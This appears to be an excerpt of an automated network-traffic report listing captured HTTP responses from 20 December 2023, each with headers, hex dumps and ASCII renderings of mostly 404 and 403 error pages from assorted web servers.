Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-104.ec2.internalX-Request-Id: 4dfe391d-0888-4fe6-9c6a-8c1ed2ffe8f8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-123-133.ec2.internalX-Request-Id: e943827b-c1d8-43bc-ae0a-6998d3b70390Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 20 Dec 2023 02:13:26 GMTServer: ApacheContent-Length: 72Content-Type: text/html; charset=iso-8859-1Data Raw: 54 68 69 73 20 73 69 74 65 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 67 6f 69 6e 67 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2c 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 62 61 63 6b 20 73 68 6f 72 74 6c 79 2e Data Ascii: This site is currently undergoing maintenance, and will be back shortly.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:26 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QTjNtRx%2FsT2IZN6LpjKdEryNpgQzunNQytaT5wnn1mWGyK2FeI3OcfPcq0v08tMTF%2FdX1upLd49ZdifFK7QcrSnbN1wnvwVtW%2BzgtlJQ9i0iigG%2B1C8hKsxX2%2Bw5eYg6Hfs%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845db80b7a8da8-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 20 Dec 2023 02:13:26 GMTServer: ApacheContent-Length: 72Content-Type: text/html; charset=iso-8859-1Data Raw: 54 68 69 73 20 73 69 74 65 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 67 6f 69 6e 67 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2c 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 62 61 63 6b 20 73 68 6f 72 74 6c 79 2e Data Ascii: This site is currently undergoing maintenance, and will be back shortly.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidateContent-Length: 77570Content-Type: text/html; charset=UTF-8Date: Wed, 20 Dec 2023 02:13:26 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: DDYgrXoy/Priepf6qData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 20 Dec 2023 02:13:26 GMTServer: ApacheContent-Length: 72Content-Type: text/html; charset=iso-8859-1Data Raw: 54 68 69 73 20 73 69 74 65 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 64 65 72 67 6f 69 6e 67 20 6d 61 69 6e 74 65 6e 61 6e 63 65 2c 20 61 6e 64 20 77 69 6c 6c 20 62 65 20 62 61 63 6b 20 73 68 6f 72 74 6c 79 2e Data Ascii: This site is currently undergoing maintenance, and will be back shortly.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://www.wakux2.com/wp/wp-json/>; rel="https://api.w.org/"Content-Encoding: gzipData Raw: 36 31 34 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 d5 bd 7b 93 1c cb 75 1f f8 f7 bd 11 fe 0e c5 81 48 00 e4 74 4f 4f cf 03 f3 c0 80 96 49 4b ab d5 9a e4 ae a8 70 c4 2a 18 88 ea ee ea 99 06 fa c5 7e 60 30 c4 62 43 00 d6 32 a9 4b ed 5b a6 64 c9 4b 3d 68 eb 15 a2 4c 4b 0e 6b 29 5a 8a d8 af 32 c4 25 f9 97 bf 82 4f be aa 32 4f 9e cc 3c 55 dd 00 b9 97 00 38 5d 9d f9 3b 27 4f 9e 3c 79 7e a7 b2 6a 1e 7e 62 30 eb af 6e e6 45 76 b5 9a 8c 1f 7d f8 50 fc 5f 36 ce a7 97 17 3b 4f f2 9d 47 1f c2 95 22 1f c0 17 93 62 95 67 fd ab 7c b1 2c 56 17 3b eb d5 b0 75 02 5f ab cb d3 7c 52 5c ec 3c 1b 15 d7 f3 d9 62 b5 93 f5 67 d3 55 31 85 66 d7 a3 c1 ea ea 62 50 3c 1b f5 8b 96 fc b0 9b 8d a6 a3 d5 28 1f b7 96 fd 7c 5c 5c ec b7 3b bb 99 e9 d9 1a 8e 56 17 fd d9 b3 62 81 a0 17 c5 b0 58 2c e0 72 05 3d 9d b5 cc d5 d6 f5 55 31 6d 0d 66 d7 d3 cb 45 3e 28 50 df e1 6c 31 c9 57 ad 41 b1 2a fa ab d1 6c 6a 61 ac 8a 71 31 bf 9a 4d 8b 8b e9 4c 8c 35 cb c4 1f f8 fb f0 13 ad 56 f6 c5 d5 55 b1 c8 7e 7e 9a 8f 6f 56 a3 fe 32 6b b5 60 bc cb fe 62 34 5f 65 f9 f2 66 da cf 96 8b fe c5 ce d5 6a 35 5f 9e ed ed cd f3 4b b0 54 b7 7d 39 9b 5d 8e 0b f8 7e 30 ea e7 42 60 bb 3f 9b e8 6f f7 9e 2c f7 f2 c1 b2 77 a3 1a b5 9f 2c 3f db 1f 8f 84 a9 fa 79 6b be ee b5 8e 0f 8e 4e ba 9d e3 c3 a3 ee 69 e7 41 e7 f4 70 e7 1f 81 36 f0 5f 7f 31 5b 2e 67 8b d1 e5 68 7a b1 93 4f 67 d3 9b c9 6c bd dc 79 f4 70 4f 29 04 9a 09 95 f7 48 9d c5 37 f3 45 01 b3 32 05 13 64 83 e9 b2 05 1f 87 c5 aa 7f a5 06 35 1e 4d 9f 66 8b 62 7c b1 13 68 b6 93 5d 41 87 8b 9d bd bd eb eb 6b 3d c2 55 7e 39 c9 a7 30 e8 85 18 a0 30 7a 23 98 16 60 28 03 37 80 c9 9f e4 cf b5 3a f9 7c b4 6c 80 d0 1f 4c 9f 40 bf f1 6c 3d 18 8e f3 45 d1 00 22 3a f1 35 ed a2 fc 02 5c a4 7d d9 1e cc d6 bd 71 01 fe d1 7f da 9e 16 ab 9a 48 ab 79 9f 76 c5 9a 38 f9 60 43 45 a4 c7 2c 57 b0 14 fa 0d 8c db 5f 16 7a 18 0d 3a 0f 21 0e 81 25 1b 0b d7 fd e5 82 6e ea 5f 93 65 fb ab eb 1c f4 28 16 cf 9a 78 d7 b2 e8 af c1 2d 21 b2 3d cb 57 79 93 b5 06 2e de b6 c3 d1 ea 7a 34 b9 6c 60 4d 81 f3 64 39 28 c6 a3 67 8b 06 0e 39 9a 40 ac 58 b6 86 45 7b b9 1c b7 f4 a7 7c 92 7f 4d 45 c8 9a 6e 09 21 67 3e 2e 64 78 6d 8c 31 69 4f 8a c1 28 6f 35 06 18 b5 27 b3 e5 d5 68 32 6b 60 cd 7c 32 6e 3f cb c7 6b 08 cb 93 49 b1 e8 37 f1 8d 41 3e ee 6f 03 a4 47 82 a8 2d e5 4b b0 2f cc f2 01 b1 51 88 cb 3b b0 13 5e ec 88 75 b2 93 89 34 42 fd bc 77 3d 1b 0e cd 9e 21 f6 47 d8 1e 45 18 b8 ce 9f ae 9f 77 85 b1 f6 ae e7 f0 a7 a5 13 85 3d d8 69 27 c5 72 af 3f eb cf 66 d3 d6 24 5f ae 8a c5 de 75 d1 93 0b 70 6f 04 1d e0 fa 9e f3 a9 ad 64 58 1b 23 de 81 12 fa 75 b7 a7 a0 50 2c bf 2e 96 b3 49 a1 95 b4 ae b4 f4 38 a4 c2 dd cf 3e bb 38 6c 3f 68
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:26 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 196Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:26 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 b4 54 20 a8 2b 35 12 42 e2 b2 f6 8e ed 69 ed dd 68 77 9d 0f 10 ff 9d f1 3a 91 12 e2 92 5c a2 9d 8f f7 76 df 9b 71 7c 79 93 7e 5c fc 78 b8 85 ca 35 f5 f5 45 dc ff 41 5c a1 90 d7 17 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 7d e0 13 d6 6d 6b 04 b7 5d 62 12 38 dc b8 28 b7 d6 67 3c d4 18 32 2d b7 63 78 b5 14 c6 29 34 63 a0 c2 88 06 e1 37 83 1e ff 2a a4 b2 72 b3 ab e9 f4 f5 fc 24 b9 26 e9 aa 17 72 8d 30 25 a9 d9 f4 b4 6b 29 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 5f b8 c9 0a 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 4e 2f 96 89 fc b9 34 ba 55 72 e6 8c 50 96 d5 41 e5 8e eb fe 1c 89 d0 c9 38 20 9a 66 ca a2 d6 eb 59 45 52 a2 3a 45 88 23 6f d0 81 87 fc 06 e6 4a 82 fb f4 7b 00 8a bd 48 02 dc 2c c9 60 6f db ce e9 7d 15 29 89 9b 31 14 ba 66 96 31 88 ba de 37 dd a5 e9 dd d7 db 0f e9 a2 9f 83 7e 40 ce b7 19 9d 69 b7 a3 ba 0c 43 f8 e4 91 d9 25 f8 c6 23 16 2e 44 09 05 6d d0 82 65 21 39 1c 92 b5 2d 1f b5 82 46 67 c4 b3 26 71 45 39 47 c2 70 e0 55 7e 50 92 be 24 f4 87 39 90 22 47 ec 4a 87 88 c9 d5 64 3a 87 46 6c a8 69 9b c3 50 6b d1 f8 b3 c8 b8 6a 3a df bf 73 45 b8 5e 6a e3 ba 67 c6 d1 6e 21 e2 ce 0f 4f 2f 69 05 24 93 60 37 e0 bd 18 11 47 7d d6 e6 86 96 ee 70 3d 9e c4 4a f4 d1 7e 4b a4 ce db 86 0d 99 ac 0d 39 7c 73 64 fa 7e 41 46 f1 7f 71 a0 16 aa 6c 45 c9 4e 7e 61 f4 47 cf 19 8c 06 a1 f6 90 ef 60 64 4d 9e 04 51 64 51 6a be fc 33 6b 3d c9 75 13 15 a6 e9 8e d1 b9 fe 35 8f 86 5e 4f 6a 9d 0b 47 5a 4d 2a 6d 1d 30 ec d9 c6 d1 e7 f4 3e 7d 7c e8 29 6f 6e cf f1 8c a2 ee 3a 93 27 9e 99 e1 52 e6 8c 7f 46 bd 42 ff 94 bc ed 16 82 57 c0 2b e2 fd eb 7d 63 1f bb ef dc 5f 9d a7 e3 e7 f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 239TMo@WLP@qzCT +5Bihw:\vq\|y~\x5EA\qN@^c%A}mk]b8(g<2-cx)4c7r$&r0%k)$U2m$n]MRV._\TLXN/4UrPA8 fYER:E#oJ{H,`o})1f17~@iC%#.Dme!9-Fg&qE9GpU~P$9"GJd:FliPkj:sE^jgn!O/i$`7G}p=J~K9\|sd~AFqlEN~aG`dMQdQj3k=u5^OjGZMm0>}\|)on:'RFBW+}c_0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:26 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:26 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:26 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: blu111.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 